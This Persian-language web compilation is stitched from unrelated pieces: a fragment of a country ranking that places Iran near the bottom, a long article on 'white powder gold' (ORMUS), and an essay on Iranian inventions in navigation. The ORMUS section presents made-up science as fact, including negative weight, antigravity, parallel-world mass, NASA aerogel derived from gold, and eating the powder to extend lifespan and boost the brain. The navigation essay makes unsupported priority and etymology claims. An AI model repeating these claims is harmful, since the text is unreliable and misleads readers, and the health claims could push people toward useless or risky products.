درآمد سرانه: ۲۳، ۶۰۰ دلار
سیستم اقتصادی: دولتی
ویژگی ها:
- درآمد نفتی بالا
- ثبات سیاسی (دودمان سلطنتی ۶۰۰ ساله)
- نرخ جرم و جنایت بسیار پایین
- خدمات بهداشتی رایگان همگانی با کیفیت بالا
- عدم وجود خط فقر در جامعه (حقوق دولتی برای همه)
- سیستم آموزشی رایگان، حتی آموزش عالی
- یارانه غذا و مسکن برای همه
رتبه ۱۰: کانادا
.
.
.
.
.
.
.
و اما ایران . . . . . . . .
گفتنی است که در این امار گیری معتبر که از ۲۲۰ کشور جهان گرفته شده است
ایران با شانس زندگی نزدیک 50، رتبه۲۰۲ را به خود اختصاص داده است که در بین کشورهای آسیایی بعد از عراق وافغانستان غمگین ترین مردمان در قاره کهن به حساب می ایند.
عواملی که در این امارگیری ایران را جزو ۲۰ کشور اخر جدول قرار داده است دلایلی چون: تورم و گرانی کالا، نارضایتی مردم از وضع معیشتی، نبود امنیت روانی و اجتماعی، رکود اقتصادی، نبود امنیت اقتصادی برای سرمایه گزاری، نرخ جرم و جنایت بالا، انحراف شدید از دین، نظام اداری نا منسجم و دیگر. . . . بقیشو که خودتون بهتر از من می دونین
اتفاقی که حیرت جهانیان را برانگیخت
چندی پیش در منطقه فینیکس واقع در آریزونا در کشور آمریکا، کشاورزی بنام دیوید هادسون به ماده ی سفید رنگی که در سرتاسر زمینهای زراعی اش گسترده بود مشکوک شد و مقداری از آنرا به آزمایشگاههای معتبر سپرد تا به او بگویند که این ماده سفید رنگ متشکل از چه مواد اولیه ای است. اما در عین ناباوری، پاسخ آزمایشگاه این بود:You Have Pure Nothing یعنی شما یک ماده ای دردست دارید که خالصاً هیچ چیز مشخصی که در جدول عناصر تعریف شده باشد در آن به چشم نمی خورد!
اما پس از چندی یک آزمایشگاه روسی به روش آزمایش آمریکاییها شک کرد و روش جدیدی را برای آنالیز این ماده ی عجیب پیش رو گذاشت که صحیح تر بود و بلاخره پرده ی جادویی کنار رفت و عنصر تشکیل دهنده رخ نمود.
این ماده شکل دیگری از اتم های طلا بود که بصورت یک نانو رشته (رشته ای از الکترونها که از پی هم قرار می گیرند و شکل یک تسبیح نخ شده را دارد) در آمده بود. نام علمی آن ORME یا ORMUS مخفف Orbitally Rearranged Monotomic Element می باشد.
آزمایشات بعدی، اما، حیرت آورتر بودند. برای وزن کردن آن، یک پیمانه ی خالی را ابتدا وزن کردند و سپس مقدار مشخصی از این گرد سفید رنگ را درون پیمانه ریخته مجدداً وزن کردند و در عین ناباوری در تمام این توزینها، همواره وزن پیمانه+وزن گرد سفید رنگ از وزن پیمانه ی خالی “کمتر” بود! آزمایشی که چندین بار تکرار شد و همواره یک پاسخ را ارائه می داد. گویی که 40 درصد از جرم این ماده در جهان ما و 60 درصد دیگر آن در جهانی موازی با جهان ما سیر می کند.
نکته ی مهم زمانی به چشم آمد که محققان، پیمانه ی لبریز از ماده سفید رنگ را حرارت دادند و مشاهده کردند کهدر حرارت بسیار بالا وزن پیمانه به سمت صفر گرم سوق پیدا کرد. یعنی “با حرارت دادن به این ماده، می توان جاذبه را دفع نمود”.
ناسا با بهره گیری از این ترکیب جدید طلای بسیار ناب (The Pure Gold) توانست ماده ی جدیدی اختراع کند با نام آیروژل (AeroGel) که به خودی خود از هوا سبک تر است و فرم خالص آن می تواند در هوا شناور باشد و همچنین با حرارت دادن به آیروژل، این ماده می تواند وزنهایی بیش از وزن خود را نیز در هوا معلق نگاه دارد. ناسا از این ژل در تحقیقات گسترده ای بهره می برد. (در ویکیپدیا جستجو کنیدAeroGel )
اما چندی پیش، در “صحرای سینا” (علاقه مندان به آثار سیچین توجه فرمایند) معبدی متعلق به راهبان مصر باستان کشف شد که درون آن آکنده بود از پودری سفید رنگ! آزمایش این ماده نشان داد که شباهت زیادی بین این پودر تازه کشف شده با نانو رشته ی طلا وجود دارد. مصریان باستان به این ماده “مفکات” می گفتند و راز تهیه آن در دست راهبان مقدس بوده است.
ترکیب مفکات با حرارت می توانسته بی وزنی را بهمراه آورد و شاید راز چگونگی ساخته شدن اهرام عظیم مصر در همینجا نهفته باشد.
به این نکته توجه کنید: نام تمام اشکال هندسی (چه به فارسی و چه به لاتین) مستقیما به شکل هندسی آنها اشاره می کند. مثلاً دایره از دوار بودن می گوید، مثلث از سه ضلعی بودن. اما در این بین نامی که برای شکل هندسی “هرم” در نظر گرفته شده یک استثنای عجیب است. هرم در لاتین Pyramid ترجمه شده که از ترکیب دو کلمه ی Pyro بمعنی “آتش” و Amid بمعنی “گرفته شده” تشکیل شده است. بنابراین Pyramid یعنی Fire Begotten یا از آتش گرفته شده!!! حتی اسم عربیِ “هِرم” نیز از ریشه هُرم بمعنی حرارت و داغی گرفته شده و اشاره ای به شکل هندسی آن ندارد.
علاقه مندان به پیگیری این مطلب می توانند به آدرس whitepowdergold. html مراجعه و یا در گوگل White Powder Gold را جستجو نمایند..
wpgjpg3. jpg
همانگونه که کتاب “اسرار گمشده صندوقچه مقدس” اثر لارنس گاردنر اشاره دارد، اخیراً توجه دانشمندان به این عنصر مرموز معطوف شده است که در جدول تناوبی عناصر، یافت نمی شود.
این پودر سفید رنگ غیر محسوس که از خانواده فلزاتی همچون طلا و پلاتنیوم بدست می آید، عنصری مونوتومیک (ساختاری از ماده که از اتمهای واحد تشکیل شده است) خوانده می شود. آنچنانکه این ماده توسط کاشف آن، دیوید هادسون، در سالهای دهه ی 1980 ORME نام گذاری شد که مخفف Orbitally Rearranged Monatomic Element (عنصری که اوربیتال آن بصورت تک اتمی بازچیده شده باشد) می باشد. بصورت عمومی و تجاری نام Ormus یا M-State برای این پودر سفید رنگ پذیرفته شده است.
ثقل سنجی حرارتی نشان داد که این ماده در حرارت بالا شروع به بی وزن شدن می نماید تا جایی که حتی می تواند در هوا شناور شود. حتی در شرایط خاصی این پودر سفید طلا می تواند به خاصیت ابر رسانایی برسد و یا در ابعاد دیگر عالم طنین ایجاد نماید.
در اسطوره های یونان باستان تلاش برای یافتن این ماده بصورت “افسانه پشم طلایی” تجلی یافته، در حالیکه در کتاب مقدس می توان رد این ماده را در داستان مربوط به صندوقچه ی عهد (که به دستور خدا توسط موسی در صحرای سینا ساخته شد و نهایتا به معبد سلیمان در اورشلیم منتقل شد) جستجو نمود. در بین النهرین باستان نیز از این پودر سفید رنگ یاد شده و نام آن شم-آن-نا یا “سنگ آتش” بوده است، درحالیکه مصریان به آن “مفکات” (mfkzt) می گفتند و اسکندر نیز آنرا با نام “سنگ بهشت” می ستود.
این پودر “سنگ آتش” رازآلود، بعنوان یک ماده خوراکی و به شکل نان های مخروطی و یا بصورت معلق بر سطح آب، به پادشاهان و فراعنه اختصاص می یافت. این ماده بعنوان غذایی برای “کالبد اختری” شناخته می شد که استعداد رهبری، آگاهی ذاتی، ادراک و فراست را در نزد شاهان و رهبران ارتقا می داده است. همچنین به تازگی ارتباط مابین این ماده جادویی با راز طول عمر نیز مکشوف گشته است.
امروزه، کمپانی های متعددی در حال تولید محصولاتی هستند که بر پایه مواد M-State بنا شده اند. برخی از طلا بعنوان فلز پایه بهره می برند، و برخی دیگر نیز از مشتقات پلاتنیوم که از رسوبات کف دریاها و یا منابع زمینی ای همچون دهانه های آتشفشان ها و یا محل برخورد شهاب سنگها استحصال می شود بهره می برند. از آنجاییکه روشهای متداول آنالیز مواد فلزی، برای شناخت M-State ها نا مناسب و نا کارآمد است لذا می توان گفت که هنوز بسیاری از تواناییهای این ماده در پرده ی ابهام باقی مانده است.
فیلسوف قرن هفدهم، ایرنائوس فیلالِتِس (فردی که مورد احترام آیزاک نیوتن، روبرت بویل، الیاس اشمول و دیگر اعضای کالج سلطنتی بریتانیا در عصر خود بوده است)، اثری را در سال 1667 نگاشت با نام “راز، بر ملا شد”. وی در این مقاله به بحث پیرامون “سنگ فلاسفه” می پردازد که تا آن زمان به اشتباه به “هر ماده ای که فلزات را به طلا تبدیل کند” گفته می شد.
فیلالتس مستقیماً به اصل موضوع می پردازد و آنچنانکه از اسناد می توان فهمید، وی سنگ فلاسفه را خودِ طلا می داند و اعلام می کند که به خلوص رساندن طلا می بایست تلاشی باشد که فلاسفه به انجام می رسانند. او می افزاید: ” سنگ ما چیزی نیست جز طلا که به بالاترین درجه خلوص و لطافت ( نرمی) رسیده باشد. بدان سنگ می گوییم چراکه خواص ذاتی آن اینگونه نشان می دهد؛ این ماده جلوی آتش را می گیرد همانطور که مابقی سنگها نیز اینچنین می کنند. در گونه ی خود این ماده همان طلا است، اما خالص تر از هر خالصی؛ این ماده ای جامد و نسوز است همانند سنگ، اما شکل ظاهری آن مانند پودری خالص و نرم است”.
چند قرن زودتر در سال 1416 شیمی دان فرانسوی، نیکولاس فلامل، می نویسد که وقتی فلز ناب در نهایت کمال آماده سازی شد، پودر عالی و سفید رنگِ طلا بدست می آید، که همان “سنگ فلاسفه” می باشد.
وقتی به مصر باستان باز می گردیم، ارجاعات بیشتری را به مفکات (mfkzt) باز می یابیم که به اماکن مقدسی در آن ناحیه اشاره دارند. یکی از این اماکن مقدس (نزد مصریان باستان) معبد کارناک می باشد و گنجینه ای متعلق به تاتموسیس سوم. در دیوار نگاره های معبد کارناک در قسمتی که مربوط به فلزات است، تعدادی شئی مخروطی شکل به تصویر درآمده است و در توضیحشان قید شده که این اشیاء از طلا ساخته شده اند اما نکته عجیب نام این اشیاء مخروطی شکل است:”نان سفید!”. مشخصاً از این نان در مراسمی بهره برده می شد که مختص فراعنه بوده و آنان پس از پشت سر گذاشتن روزه ای 40 روزه با این نان مقدس روزه شان را باز می کردند و پس از این مراسم بوده که فرعون فرامین سالیانه خود را صادر می کرده است. تحقیقات بعدی ما نشان داد که این ماده ی سفید رنگ مستقیماً با افزایش ادراک و فراست و قوه ی مدیریت در ارتباط است چراکه پس از مصرف خوراکی آن توانمندی نیمه راست مغز را با توانایی نیمه ی چپ مغز برابر می گردد.
رد پای این پودر سفید را همچنین می توان از اسنادی که به اسکندر مقدونی باز می گردد جستجو نمود. همواره این داستان را از اسکندر شنیده ایم که وی بدنبال راز جاودانگی اقدام به سفر به بهشت نمود که بر اساس قراین بهشت در آنزمان سرزمین هخامنشیان، سرزمین اهورا مزدا، خدای نور و خرد بوده است. هدف وی یافتن “سنگ بهشت” بوده است که خواصی جادویی داشته از جمله افزایش عمر (جاودانگی). امروزه دانشمندان سرگرم مطالعه بر روی DNA انسان می باشند و ارتباطی را مابین پودر سفید طلا و طول عمر DNA یافته اند.
می توان خصوصیات پودر سفید طلا را به اینگونه بر شمرد:
1- خاصیت ضد جاذبه در حرارت های بالا
2- خاصیت ابر رسانایی در حرارت بالا
3- اتصال کوانتومی به دیگر جهانهای موازی Quantum Entanglement
4- عدم مشابهت با ساختار عناصر جدول مندلیف
5- درصورت برهم خوردن ساختار رشته ای، با نوری بسیار درخشان منفجر می شود
6- بدلیل ساختار اتمی تک رشته ای، امکان تبدیل این ماده به مواد دیگر وجود دارد
7- درصورت مصرف خوراکی، افزایش کارآیی مغز انسان را در دو نیمه چپ و راست بدنبال دارد
8- در صورت مصرف خوراکی، افزایش طول عمر DNA که متعاقباً طول عمر انسان را بدنبال دارد.
اختراعات و ابتکارات ایرانیان در ناوبری و دریانوردی و نجوم
مهندس جعفر سپهری
کهنترین سند دریانوردی ایرانیان، مُهری است که در چغامیش خوزستان بدست آمده است. تاریخ تمدن ناحیه چغامیش به ششهزارسال پیش از میلاد میرسد. این مهر گلین، یک کشتی را با سرنشینانش نشان میدهد. در این کشتی یک سردار پیروز بازگشته از جنگ، در حال نشسته، و اسیران زانوزده در جلوی او دیده میشوند. در این مهر یک گاو نر و یک پرچم هلالی شکل هم دیده میشوند. نقشهای برجسته پاسارگاد نمایانگر توانمندی دریایی ایرانیان و فرمانروایی ایشان بر هفتدریاست.
قطب نما
در مورد اختراع قطبنما روایتهای زیادی وجود دارد. تنی چند از دانشمندان آن را به چینیها و یا حتی ایتالیاییها نسبت میدهند. اما بیشتر دانشمندان متفقالقولند که قطبنما به وسیله ایرانیان ساخته شده است. قطبنمای ایرانی برخلاف قطبنمای چینی که 24 جهت داشت، دارای 32 جهت بودهاست. عدد 32 علاوه بر نشاندادن دقت بیشتر قطبنمای ایرانی، نمایانگر آشنایی ایرانیان با اعداد در مبنای 2 و دانش ریاضی پیشرفته آنان است،که خود بحث جداگانه و بسیار مفصلی را میطلبد. در افسانههای کهن ایرانی آمده است که اسفندیار رویین به هنگام حرکت برای نبرد با اژدها از پیکانی آهنین سود میجسته، که همواره جهت ثابتی را به او نشان میداده است. در دوران نخستین اسلامی، قبلهنما توسط ایرانیان به قطبنما افزوده شد تا همواره و در هر وضعیتی بتوان جهت درست قبله را پیدا نمود. ایرانیان از این اختراع استفاده کامل نموده و آن را به دیگر مسلمانان شناساندند. نامهای فارسی اجزای قطبنما در زبان عربی شاهد تاریخی مسلمی است که کاربرد قطبنما از طریق ایرانیان به دست دیگر ملتهای مسلمان رسیده است.
بادنما
بادنمای ایرانی هم دارای سیودو خانه بوده است. هرخانه به نام برخاستن و فروشدن پانزده ستاره ثابت با افزودن شمال و جنوب بوده است. در دوران اسلامی این میراث به دریانوردان مسلمان منتقل شد، نامهای عربی شده، همچون قطبالجاه (قطبگاه)، خن (خانه)، و ... خود گواه این اختراع ایرانیان است.
سکان
اختراع فرمان کشتی (سکان – سوکان= تعیین کننده جهت و سو) از سوی تمامی دانشمندان، بدون استثنا، به ایرانیان نسبت داده شده است. در روایتها وداستانهای ایرانی چنین آمده است که سندباد، ناخدا و دریانورد پرآوازه ایرانی اهل بندر سیراف، سکان را اختراع کرده است. نامهای نیز از معاویه، فرمانده نیروی دریایی مسلمانان در دریای مدیترانه، به خلیفه دوم بر جای مانده که در آن از مزایای این اختراع ایرانیان و برتری کشتیهای ایرانی دارای سکان به کشتیهای رومی سخن گفته است. در این نامه او از خلیفه درخواست نموده که کلیه امور دریانوردی، کشتیرانی و دریاپویی به ایرانیان واگذار شود. ترجمه متن این نامه در کتاب اسماعیل رایین، دریانوردی ایرانیان، آورده شده است. بر پایه این نامه، تا ظهور اسلام تنها ایرانیان از سکان در کشتیهای خود سود میجستند. از این زمان به بعد بود که دریانوردان تازه مسلمان ایرانی، سکان ایرانی را بر روی کشتیهای دیگر ملل مسلمان نصب کردند.
لنگر
واژهگان Anchor و Anchorage در زبانهای اروپایی، که تبدیل شده واژه لنگر است، خود به تنهایی اثبات ایرانی بودن این اختراع مهم تاریخ دریانوردی است.
ژرفنایاب – عمق یاب = برد(= سوند)
برای تعیین ژرفنای آب در دریا، به ویژه مناطق ساحلی دریای پارس و دریای مکران، ایرانیان ابزاری اختراع نموده و به کار میبردند که شباهت زیادی به شاقول بنایی داشته است. هرچند که اختراع این سوند باستانی به سندباد ناخدای پرآوازه ایرانی نسبت داده شده است، اما اکتشافات اخیر کشتیهای غرق شده ایرانی در دریای اژه، که در یورش به یونان شرکت داشتهاند، نشان میدهد که از دوران هخامنشیان، ایرانیان این ابزار را شناخته و به کار میبردند.
ژرفاسنج
ایرانیان دریانورد برای تشخیص جنس کف دریا از وزنههایی استفاده میکردند که کف آنها روغن زده شده بود. همین روغن باعث چسبیدن تکههایی از کف دریا به انتهای وزنه شده با کمک آن نوع مواد کف دریا را تشخیص میدادند.
ارتفاعسنج
دریانوردان باهوش ایرانی، از ابزاری برای اندازهگیری ارتفاع ستارگان و بدست آوردن طول جغرافیایی سود میجستند که اکنون جز در سفرنامه جهانگردان خارجی هیچ اثری، حتی نام آنها هم برجا نمانده است. این ابزار شانه مانند بوده که چندین ریسمان از میان آن میگذشته است. سفیر اسپانیا در دربار شاهعباس بزرگ، فیگوئروا، در سفرنامه خود این ابزار را شرح داده است.
مسافت یاب
دریانوردان ایرانی، از زمانهای باستان، ابزارهایی برای پیمودن مسافتهای دریایی به کار میبردهاند.یکی از این ابزارها ریسمانی بوده که به تدریج باز میشده، که پس از رسیدن به انتها، آن را میپیچیدند و دوباره استفاده میکردهاند.
رهنامهها (رهنامگ)
راهنامهها، نقشهها و نوشتههایی بودند که در آنها کلیه اطلاعات مربوط به دریانوردی ثبت و مستند شده بود. ایرانیان از روزگار باستان، مبتکر و صاحب رهنامههایی بودهاند و به کمک آنها دریانوردی و دریاپویی میکردهاند. رهنامههای ایرانیان، اطلاعات و آگاهیهایی در مورد بنادر و جزایر، گاهشناسی و جهت یابی، جریانهای دریایی، جریانهای هوایی، ابزارهای دریانوردی و ... را در بر داشتهاند. پس از اسلام، بسیاری از رهنامههای دوران ساسانی به عربی ترجمه شد و دریانوردان دوران اسلامی، بهره فراوانی از آنان برگرفتند.
پیل الکتریکی
در سال 1330 خورشیدی، باستان شناس آلمانی ویلهلم کونیک و همکارانش در نزدیکی تیسفون ابزارهایی از دوران اشکانیان را یافتند. پس از بررسی معلوم شد که این ابزارها پیلهای الکتریکی هستند که به دست ایرانیان در دوران اشکانیان ساخته شده و به کار برده میشدهاند. او این پیلهای تیسفون را Bagdad Battery نامید. جهت آگاهی بیشتر از این پیل الکتریکی میتوانید به سایتهای با موضوع Bagdad Battery در اینترنت مراجعه نمایید.
اکتشاف این اختراع ایرانیان به اندازهای تعجب و شگفتی جهانیان را بر انگیخت که حتی برخی از دانشمندان اروپایی و امریکایی این اختراع ایرانیان را به موجودات فضایی و ساکنان فراهوشمند سیارات دیگر که با بشقابهای پرنده و کشتیهای فضایی به زمین آمده بودند، نسبت دادند، و آن را فراتر از دانش اندیشمندان و پژوهشگران ایرانی دانستند. برای ایشان پذیرفتنی نبود که ایرانیان 1500 سال پیش از گالوای ایتالیایی(1786 میلادی) پیل الکتریکی را اختراع نموده باشند. (برای آگاهی بیشتر میتوانید به کتاب ارابه خدایان نوشته اریکفندنیکن مراجعه کنید).
ایرانیان از این پیلهای الکتریکی جریان برق تولید میکردند و از آن برای آبکاری اشیا زینتی سود میجستند. اما در پهنه دریانوردی ایرانیان از این اختراع جهت آبکاری ابزارهای آهنی در کشتی و جلوگیری از زنگ زدن و تخریب آنها استفاده میکردند.
کشتیسازی
فرهنگ فنی و مهندسی ایرانیان از دیدگاه دریانوردی و کشتیسازی بسیار غنی و پربار است. آبهای نیلگون دریای پارس، دریای مکران (عمان)، و اقیانوس هند، همچنین رودخانههای جنوبغربی ایران، از دیرباز پهنه دریانوردی و دریاپویی ایرانیان بوده است. در شاهنامه فردوسی، چندین بار، از کشتیسازی و کشتیرانی ایرانیان، سخن رانده شده است. قدمت و پیشینه این رشته از دانش و فن مهندسی ایرانیان را از سرودههای فردوسی میتوان دریافت. فردوسی از جمشید، پادشاه پیشدادی، به عنوان نخستین انسانی که هنر غواصی و صنعت کشتیسازی و دریانوردی را به دیگران آموخت، نام برده است. میتوان دریافت که دانشمندان ایرانی در دوره تابندگی نژاد آریا که در شاهنامه فردوسی به نام دوره پادشاهی جمشید نام برده شده است، موفق به اختراع کشتی و فنون دریانوردی و دریاپویی شدهاند.
گذرکرد زان پس به کشتی بر آب ز کشور به کشور برآمد شتاب
کشتیرانی در آبهای ایران از دیرباز انجام میشده و با توجه به این سنت دریانوردی، نیاز به کشتیسازی و سودجستن از ابزارهای دریانوردی در ایران وجود داشته است. نخستین کشتیهایی که در رودخانههای میانرودان آمدوشد میکردند، به شکلهای گوناگون ساخته میشدند و ابزار حرکت دادن آنها پارو بوده است.
نبردناوهای ایرانی در زمان هخامنشیان، بزرگترین کشتیهای چنگی زمان خود بودند که سه ردیف پارو زن و بادبان داشتند و با سرعت 80 میل دریایی در روز حرکت میکردند. هر نبردناو شامل 200 جنگجو بود که 30 نفر از آنها سربازان زبده فارسی، تکاور، بودهاند. نیروی دریایی ایران در زمان ساسانیان نیز، قدرت مطلق در دریای پارس و اقیانوس هند بوده که زیر بنای فرهنگ دریانوردی و دریاپویی مسلمانان را تشکیل داد.
استرلاب
استرلاب astrolabe ، ابزاری بوده که در جهان باستان برای تعیین وضعیت ستارگان نسبت به کره زمین به کار میرفته است. استرلاب، در سه گونه استرلاب خطی، استرلاب صفحهای و استرلاب کروی ساخته میشده است. قطعات استرلاب نسبت به یکدیگر حرکت کرده و میتوانستند جهت ستارگان، ارتفاع جغرافیایی آنها و فواصل نسبی را مشخص نمایند. استرلاب در دریانوردی، برای جهتیابی به کار میرفته است. استرلابهای ایرانی از برنج و آلیاژهای دیگر مس ساخته میشدهاند. هرچند پارهای مورخان اختراع اولیه استرلاب را به یونانیان و فنیقیان نسبت میدهند، اما سهم اندیشورزان ایرانی در اختراع انواع گوناگون استرلاب و تکامل و افزودن بخشهای مختلف آن، انکارناپذیر بوده و از سوی تمامی تاریخنگاران ثبت شده است.
نقشهبرداری
از دورانهای پیشین در ایرانزمین کارهای مهندسی با سودجستن از ابزارهای مساحی و پیاده کردن نقشه انجام میگرفته است. نقشهبرداری از سواحل و تعیین مسیرهای ایمن دریایی، به ویژه در نقاط کمعمق، از وظایف نیروی دریایی ایران بوده است.
ابزارهای اندازهگیری
تراز (تئودولیت)
تراز شاهینی، که نخستین نوع تئودولیت به شمار میآید توسط کرجی مخترع و دانشمند ایرانی، اختراع شده است. این دستگاه شامل صفحهای مدرج بوده که به وسیله زنجیری از میلهای آویزان میشده است. با تعیین امداد افقی میتوان مستقیم اختلاف ارتفاع بین دو نقطه را از روی درجهبندی آن تعیین نمود.
شاخص خورشیدی
پیشینه تعیین تغییر زمان از طریق اندازهگیری سایه آفتاب به زمان باستان برمیگردد. در آغاز، شاخصهای خورشیدی، ویژه اندازهگیری زمان و حرکت خورشید، از سایه ساختمانها و درختان تشکیل میشده است. بهتدریج، با گذشت زمان از ابزارهایی که به صورت شاخص قائم بر روی صفحهای قرار داده میشده ساخته شدند. شاخصهای آفتابی معمولا ارتفاع خورشید و عرض جغرافیایی روزانه را مشخص مینمودند. علاوه بر این شاخصها شواهدی هم در دست است که ایرانیان از ابزارهای آفتابی دیگری برای مشخص نمودن طول جغرافیایی و جهت سود میجستند. در دوران اسلامی، دریانوردان ایرانیان، برای مشخص نمودن جهت مکه، جهت انجام وظایف مذهبی روزانه، در هر نقطه شاخصهایی ساخته بودند. در این ابزار یک شاخص آفتابی قائم نصب شده که زمان را مشخص میکرده و آنگاه با گرداندن آن ابزار در امتداد مدار، جهت مکه کاملا مشخص میشده است.
ابزار نمایش و پردازش حرکت سیارات
از جمله ابزارهایی که ریشههای تاریخی آن را نیاز به مطالعات ستاره شناسی و دریانوردی تشکیل میدهد، ابزارهای نمایش حرکت سیارات، زمین و خورشید و همچنین محاسبات زاویهای و طولی به کار میرفته است. اینکه ایرانیان، دستکم 1500 سال پیش از اروپاییان میتوانستند طول جغرافیایی را، به ویژه در دریا، از نصفالنهار مبدا (نیمروز – سیستان) حساب کنند، از سوی بسیاری از دانشمندان و تاریخنگاران پذیرفته شده است. این محاسبات و پردازشهای پیچیده، بدون سودجستن از ابزارهایی که در مثلثات و محاسبات زاویهای به کار میرود، غیرممکن بوده است. یکی از این ابزارها که در لاتین اکواتوریوم، Equatorium، نامیده میشود برای تعیین مدار خورشید و سیارات به کار میرفته است.
مواد نفتی
مواد نفتی به صورتهای گوناگون در جهان باستان، ایران و میانرودان، شناخته شده و به کار برده میشده است. گذشته از استفادههای سوختی و گرمائی که از آغاز عمل شناخت قیر و برداشتهای متافیزیکی از آتش و آتشجاویدان بوده، در دانش و فناوری استفاده میشده است. کاربرد آن به صورت عامل چسباننده، عایقبندی کننده و ملات بوده است. ایرانیان، کف کشتیها را قیراندود و نفوذ ناپذبر میساختهاند.
استفاده از آتش در صنایع نظامی
کاربرد آتش در چنگ، برای سوزاندن کشتیها و تاسیسات دریایی دشمن، از دوران باستان معمول بوده است. در ارتش ایران، هم در نیروی زمینی و هم در نیروی دریایی همواره گروهی به نام نفتانداز، نپتان یا نفات، با اونیفورم ویژه خود ماموریت پرتاب مواد قیری و نفتی را بر عهده داشتهاند.
سادهترین روش،پرتاب آتش با تیر بوده است، این روش سپس به صورت پرتاب ظرفی از آتش، نارنجک مانند، تکامل پیدا نمود. برای پرتاب ظرفهای بزرگ از ابزارهای مکانیکی، همچون منجنیق، سود میجستند. نفت یا نپتا، که در شاهنامه از آن تحت عنوان قاروره یاد شده است، تا مدتها جزو اسرار نظامی بود.
پروکوپیوس، Procopius، تاریخ نگار رومی در سده ششم میلادی، از روغن مادها نام میبرد و میگوید که ایرانیان، ظرفهایی از روغن مادها و گوگرد را پر کرده و آنها را آتش زده و به سوی دشمن پرتاب میکنند. پروکوپیوس میگوید که این ماده در روی آب شناور مانده و به محض تماس، کشتیهای دشمن را به آتش میکشیده است.
خشاب (چراغ دریایی)
(خشپات = شبپا=نگهبان شب)(خوشاب)
از دورانهای پیشین در دریای پارس ساختمانهایی ساخته بودند که بر فراز آنها آتش افروخته میشد. این ساختمانها عمل برجدریایی و چراغدریایی را برای راهنمایی دریانوردان و همچنین خبررسانی انجام میدادند. فاصله این چراغهای دریایی چنان بوده که باپدید شدن یکی، دیگری نمایان میشده است.
برجهای دریایی، با آتشی که بر فراز آنها افروخته میشد، به چند دلیل ساخته میشدند.
نخست آنکه، با بالا آمدن آب در زمینهای کم عمق این خطر وجود داشته که کشتیها ندانسته به سوی آبهای کم عمق رفته، به شن نشسته و نابود شوند.
دوم آنکه، با دیدن نور در تاریکی، کشتیها، در تاریکی شبانگاه و هوای ابری راه و جهت خود را بیابند.
سوم اینکه، در صورت یورش دزدان و غارتگران دریایی، به پادگانهای زمینی و رزمناوها خبر داده تا به سرعت جهت مقابله با آنها اقدام کنند.
دلیل چهارم این بوده است که دریابانهای مستقر در این ساختمانها، پدیدههای هواشناختی و دریاشناختی را ثبت میکردهاند. دریانوردان تازهکار ایرانی از این اطلاعات برای رویارویی با رخدادهای هوا و دریا، به ویژه رخدادهای چرخهای و دورهای استفاده میکردند.
چکیده نویسی
در دربار پادشاهان ایرانی، گروهی از دبیران وظیفه داشتند که گزارشهای رسیده از اطراف کشور را کوتاهنوشته کرده به مقامات بالاتر ارائه دهند. در امر دریانوردی و کشتیرانی هم نیاز دریانوردان ایرانی در به همراه داشتن چکیدهای از سفرهای پیشین دیگر دریاپویان در مسیرهای دریایی، باعث گسترش این فن در میان دریانوردان بوده است.
دوربین (تلسکوپ)
در تاریخ سلسله پادشاهی یوان در چین مندرج شده که برای تاسیس رصدخانه پکن، به سرپرستی کوئوشوچینگ منجم دربار، تعدادی ابزارهای رصدی از رصدخانه مراغه در ایران خریداری شده است. از جمله این ابزارها ذات الحلق، عضاده (الیداد)، دو لوله رصد، صفحه ای با ساعتهای مساوی، کره سماوی، کره زمین، تورکتوم (نشان دهنده حرکت استوا نسبت به افق) هستند. چینیان لوله رصد را وانگ-تونگ نامیدهاند. به گفته تاریخ سلسله پادشاهی یوان ایرانیان از این اختراع نه تنها برای رصد اجرام آسمانی، بلکه برای مشاهده دوردستها، به ویژه در دریا سود میجستهاند. . همین کتاب از حضور دانشمندان چینی به رهبری فائومونجی برای کارآموزی در رصدخانه مراغه خبر میدهد.
پزشکی دریایی
در سفرهای دریایی اکتشافی که در زمان هخامنشیان انجام میشد، همواره پزشکانی با کاروانهای دریایی همراه بودند که وظیفه مراقبتهای بهداشتی دریانوردان را بر عهده داشتهاند. در دانشگاه جندیشاپور، دوره ساسانیان، هم بخشی به گردآوری اطلاعات در باره بیماریهای دریانوردان و راههای درمان آنها اختصاص داشته است.
اما نخستین کتابی که در این باره نوشته شد، بخشی از کتاب جامع ، فردوس الحکمه، است که توسط علیبنربان تبری (تبرستانی)، پزشک ایرانی، گردآوری و تالیف شده است. ربان تبرستانی، یک پزشک بود که در طی سفرهای فراوان دریایی خود اطلاعاتی در باره بیماریهای دریانوردان و درمان آنها گردآوری نمود. او یادداشتهای ارزشمند خود را برای پسرش علی به میراث گذاشت. علیبنربان تبری نخستین کتاب جامع در پزشکی را نوشت که بخشی از آن به بیماریهای دریایی و درمان آنها اختصاص داشت. هم او بود که در زمان اقامتش در شهر ری به آموزش پزشکی پرداخت و رازی پزشک نامدار ایرانی و کاشف الکل، شاگرد او بوده و اصول علم طب را از وی فراگرفته بود.
ابوعلیسینا هم در بخش پنجم کتاب قانون، بیماریهای کل بدن، فصلی را به بیماریهای دریایی اختصاص داده است. علی بن عباس اهوازی نیز در دایرهالمعارف طبی خود در سده چهارم هجری در این خصوص مطالبی را ارائه داشته است.
ستارهشناسی
ایرانیان نیز همچون دیگر تمدنهای باستانی از دانش ستارهشناسی در دریانوردی و دریاپویی سود میجستند. این موضوع به اندازهای گسترده و با اهمیت است که در آینده، به امید خدا، این مطلب در مقالهای جداگانه ارائه خواهد شد.
نگر بین که دانای دهقان چه گفت که ایرانیان را هنر باد جفت
نخستین به پیکان ره خود نمود به دریا و خشکی خرامان غنود
دگر آنکه سکان فراچنگ داشت به موج و به دریا سر جنگ داشت
سیم آنکه دریای بس ژرفناک بدست آوریدش ز قعر مغاک
چهارم، شمار ره رفته را گرفته به دام کمند رها
و دیگر که رهنامه را مینوشت همه خوب و زشت و شگرف و شگفت
سترگ است، اندیشه کهربا چو مس را بپوشیده زر را قبا
چه گویم چو آید ز کشتی سخن چو او بر فراز است و شاخ است و بن
سترلاب بگرفت و اختر نوشت همه سوی گیتی به هم بر نبشت
ز کوه و ز رود و ز دریا کنار به کاغذ نوشته جهت را شمار
تراز آمدو شاخص اندازه کرد ز خورشید و شاهین و ابزار و نرد
چو آمد پس آنگه گه نیمروز فراز آمده شید گیتی فروز
زوایا گرفته بهدست آورید رصدگه از آن رو شده بر پدید
به قیر سیه کرده کشتی بر آب درفش نگونسار افراسیاب
به نفت و به آتش یورش تافتن تبه قلب اهریمن اشکافتن
بیا تا بگویم چه باشد خشاب خردمند آنرا نهاده بر آب
که کشتی چو آنرا ببیند ز دور فرازش یکی روشنایی ز نور
